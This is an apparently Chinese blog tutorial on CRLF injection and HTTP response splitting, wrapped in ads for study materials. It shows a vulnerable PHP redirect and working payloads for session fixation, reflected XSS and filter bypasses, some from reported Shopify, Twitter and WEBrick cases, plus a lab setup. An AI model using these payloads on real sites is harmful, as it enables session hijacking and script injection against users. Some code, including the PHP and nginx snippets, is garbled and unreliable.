CRLF注入（HTTP响应拆分-截断）(2)

最新推荐文章于 2024-05-20 15:59:51 发布

2301_82056337

最新推荐文章于 2024-05-20 15:59:51 发布

阅读量330

点赞数 3

分类专栏： 2024年程序员学习文章标签：网络安全 web安全面试

本文链接：https://blog.csdn.net/2301_82056337/article/details/138943920

版权

2024年程序员学习专栏收录该内容

59 篇文章 0 订阅

订阅专栏

还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！

王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。

对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！

【完整版领取方式在文末！！】

93道网络安全面试题

需要体系化学习资料的朋友，可以加我V获取：vip204888 （备注网络安全）

内容实在太多，不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料，给那些想学习网络安全的小伙伴们一点帮助！

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

1️⃣零基础入门

① 学习路线

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供：

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！


抓包，在请求行的url参数中加入特殊构造的CRLF字符

GET /index.php?url=http://baidu.com%0d%0aSet-Cookie:crlf=true HTTP/1.1
Host: wolke.cn
Cookie: _ga=GA1.1.1945309492.1638725693; _ga_Q0YHC68NHX=GS1.1.1677577526.284.0.1677577526.0.0.0
Sec-Ch-Ua: “Google Chrome”;v=“111”, “Not(A:Brand”;v=“8”, “Chromium”;v=“111”
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: “Windows”
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


### 2、查看恶意数据是否在响应头中输出


将修改后的请求包提交给服务器端，查看服务器端的响应。发现响应首部中多了个Set-Cookie字段。这就证实了该系统存在CRLF注入漏洞，因为我们输入的恶意数据，作为响应首部字段返回给了客户端。

HTTP/1.1 302 Found
Pragma: no-cache
Location: http://baidu.com
Set-Cookie: crlf=true
Content-Length: 0
Connection: close
Content-Type: text/html


很多人看到这里可能就想不明白，我请求包写入的恶意数据，怎么就被当成响应首部字段输出了？下面我们来看看服务器端源代码

if(isset( $KaTeX parse error: Expected 'EOF', got '&' at position 15: \_GET["url"]) &̲& ($ _COOKIE[“security_level”]) != “1” && $_COOkIE[“security_level”] != “2”)){
// Debugging
// echo "Not santized: " . $_GET[“url”];

header("Location: " . $_GET[“url”]);

exit;
}


这是其中一段代码，用PHP写的，需要大家有一定的语言基础。这段代码的意思是：当条件满足时，将请求包中的url参数值拼接到Location字符串中，并设置成响应头发送给客户端。


此时服务器端接收到的url参数值是我们修改后的：

http://baidu.com%0d%0aSet-Cookie:crlf=true


在url参数值拼接到Location字符串中，设置成响应头后，响应包此时应该是下面这样的：

HTTP/1.1 302 Found
Pragma: no-cache
Location: http://baidu.com%0d%0aSet-Cookie: crlf=true
Content-Length: 0
Connection: close
Content-Type: text/html


%0d和%0a分别是CR和LF的URL编码。前面我们讲到，HTTP规范中，行以CRLF结束。所以当检测到%0d%0a后，就认为Location首部字段这行结束了，Set-Cookie就会被认为是下一行，如下所示

HTTP/1.1 302 Found
Pragma: no-cache
Location: http://baidu.com
Set-Cookie: crlf=true
Content-Length: 0
Connection: close
Content-Type: text/html


而我们构造的Set-Cookie字符在HTTP中是一个设置Cookie的首部字段，这个时候就会将crlf=true设置成Cookie。

GET /index.php?url=http://baidu.com%0d%0aSet-Cookie:crlf=true HTTP/1.1
Host: wolke.cn
Cookie: crlf=true; _ga=GA1.1.1945309492.1638725693; _ga_Q0YHC68NHX=GS1.1.1677577526.284.0.1677577526.0.0.0
Sec-Ch-Ua: “Google Chrome”;v=“111”, “Not(A:Brand”;v=“8”, “Chromium”;v=“111”
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: “Windows”
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


重新请求，抓包，发现Cookie中多了crlf=true。


测试的用例大家可能会觉得这漏洞没什么危害性，但试想一下：利用漏洞，注入一个CRLF控制用户的Cookie，或者注入两个CRLF，控制返回给客户端的主体，该漏洞的危害不亚于XSS。


## 四、漏洞危害


根据插入的CRLF的个数不同，可设置任意的响应头，控制响应正文两个主要的利用办法。具体的危害表现在：会话固定、XSS、缓存病毒攻击、日志伪造等等。


### 1、会话固定(Session Fixation)


首先说说什么是会话固定攻击，会话固定攻击（session fixation attack）是利用应用系统在服务器的会话ID固定不变机制，借助他人用相同的会话ID获取认证和授权，然后利用该会话ID劫持他人的会话以成功冒充他人，造成会话固定攻击。


会话固定也是会话劫持的一种类型。会话劫持是攻击者偷走受害者与服务器建立链接的会话，而会话固定是攻击者事先建立一个会话，然后诱使受害者使用此会话进行登录，如图所示。


![1679842571126-fa07395a-8cd3-42da-a404-225b1d52495e](https://img-blog.csdnimg.cn/img_convert/28cd37ec27df0abda2034fffa3b8deec.png)


一个常见的跳转响应包：

HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location: http://www.sinay.com.cn


当攻击者利用CRLF字符对响应头中的Location进行如下输入：

%0d%0aSet-Cookie:JSPSESSID%3Dhackingsite


则返回包会变成：

HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location: http://www.sinay.com.cn
Set-Cookie: JSPSESSID=hackingsite


攻击者就可以给访问者设置一个session，造成“会话固定”。通过这种攻击方式可以实现插入任意响应Header。


### 2、反射型XSS


上述案例，如果我们输入的是：

%0d%0a%0d%0a<img src=1 οnerrοr=alert(/xss/)>


则返回包会变为：

HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location:


浏览器会根据CRLF将http包分为header和body，然后将body中的内容执行，从而达到XSS。


从上面的案例中，如果遇到XSS过滤的情况我们还可以在httpheader中注入`X-XSS-Protection: 0`，可绕过浏览器的过滤规则实现XSS弹窗显示。


## 五、实战案例讲解


### 1、Shopify响应拆分


shopify会在后台中记录用户上次访问的是哪一个商店，然后将其放置在cookie，如访问`/last_shop?xxx.shopify.com`，则返回`set-cookie:xxx.shopify.com`，所以输入：

/last_shop?xxx.shopify.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0adeface


最终解析的结果为：

Set-cookie: xxx.shopify.com
Content-Length: 0

HTTP/1.1 200 OK
Content-Type:text/html
Content-Length: 19

deface


### 2、Hackerone响应拆分


这个案例也是302跳转类型，但略有不同，访问

info.hacker.one/%0d%0a%09headername:%20headervalue


Location正常取值info.hacker.one，剩下的解析为Header头。


![1679897330095-e2a2611f-9191-46b8-93fb-24484000f97f](https://img-blog.csdnimg.cn/img_convert/1b7ef9871627fbcafe815d8caf77b133.png)


### 3、Twitter过渡绕过


用户在访问https://twitter.com/i/safety/report\_story 地址时，服务器会获取参数reported\_tweet\_id的值，并将其设置到cookie中，最后导致了漏洞。


这里Twitter禁止用户提交换行符0x0a（%0a），但通过探测，发现其后端检测逻辑为：如果提交的数据是UTF-8编码过的，则会将其解码，去除无用字符后作为cookie输出，所以如果提交%E5%98%8A，不被拦截且经Unicode解码后变为U+560A，最后取0A，同样输入%E5%98%8D最后变成0D，最终payload为：

reported_tweet_id=%E5%98%8A%E5%98%8DSet-Cookie：%20test


![1679897422865-6b63e64f-5a36-4c9d-8071-8931b5e92817](https://img-blog.csdnimg.cn/img_convert/91095ace7f3befe815a13030cbf63613.png)


探测漏洞存在，可进一步进行利用，输入：

reported_tweet_id=test%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/οnlοad=alert%28innerHTML%28%29%E5%98%BE


经过服务器处理后返回的数据就会变成下面的html响应的形式：

Set-cookie: test
content-type: text/html
location:


### 4、WEBrick响应拆分


补充一例简单的CRLF，取自CVE-2017-17742：WEBrick取get参数author作为cookie输出，访问

localhost:8080/?author=Aaron%0D%0AX-Foo:%20hacked


返回报文：![1679897543211-dd571f88-0640-411b-ac83-70a4b79b1505](https://img-blog.csdnimg.cn/img_convert/4cf4c8bbf256421a32032971ef4b563d.png)


## 六、靶场测试


利用docker搭建vulhub靶场，进入`/vulhub/nginx/insecure-configuration`目录

docker-compose up -d


8080端口是crlf漏洞靶场


![1679919004548-1978c97e-3d40-4ba9-8447-32d7f3e524fb](https://img-blog.csdnimg.cn/img_convert/ddecf6c743c8056f395679aa8a2fe22c.png)


Nginx会将$uri进行解码，导致传入`%0a%0d`即可引入换行符，造成CRLF注入漏洞。


![1679918925961-a1beb8f1-0e2a-42bc-a1bb-e354385a1e5d](https://img-blog.csdnimg.cn/img_convert/b8b2292e12e009833aae9024ce2c2368.png)


错误的配置文件示例（原本的目的是为了让http的请求跳转到https上）：

location / {
return 302 https:// $h os t$ uri;
}


## 七、挖掘技巧




## 学习路线：

这个方向初期比较容易入门一些，掌握一些基本技术，拿起各种现成的工具就可以开黑了。不过，要想从脚本小子变成黑客大神，这个方向越往后，需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容：  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/7a04c5d629f1415a9e35662316578e07.png#pic_center)



**需要体系化学习资料的朋友，可以加我V获取：vip204888 （备注网络安全）**

**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友，可以点击这里获取](https://bbs.csdn.net/topics/618540462)**

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**

2301_82056337

关注

3
点赞
踩
9

收藏

觉得还不错? 一键收藏
0
评论
CRLF注入（HTTP响应拆分-截断）(2)

还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！【完整版领取方式在文末！！内容实在太多，不一一截图了。
复制链接

扫一扫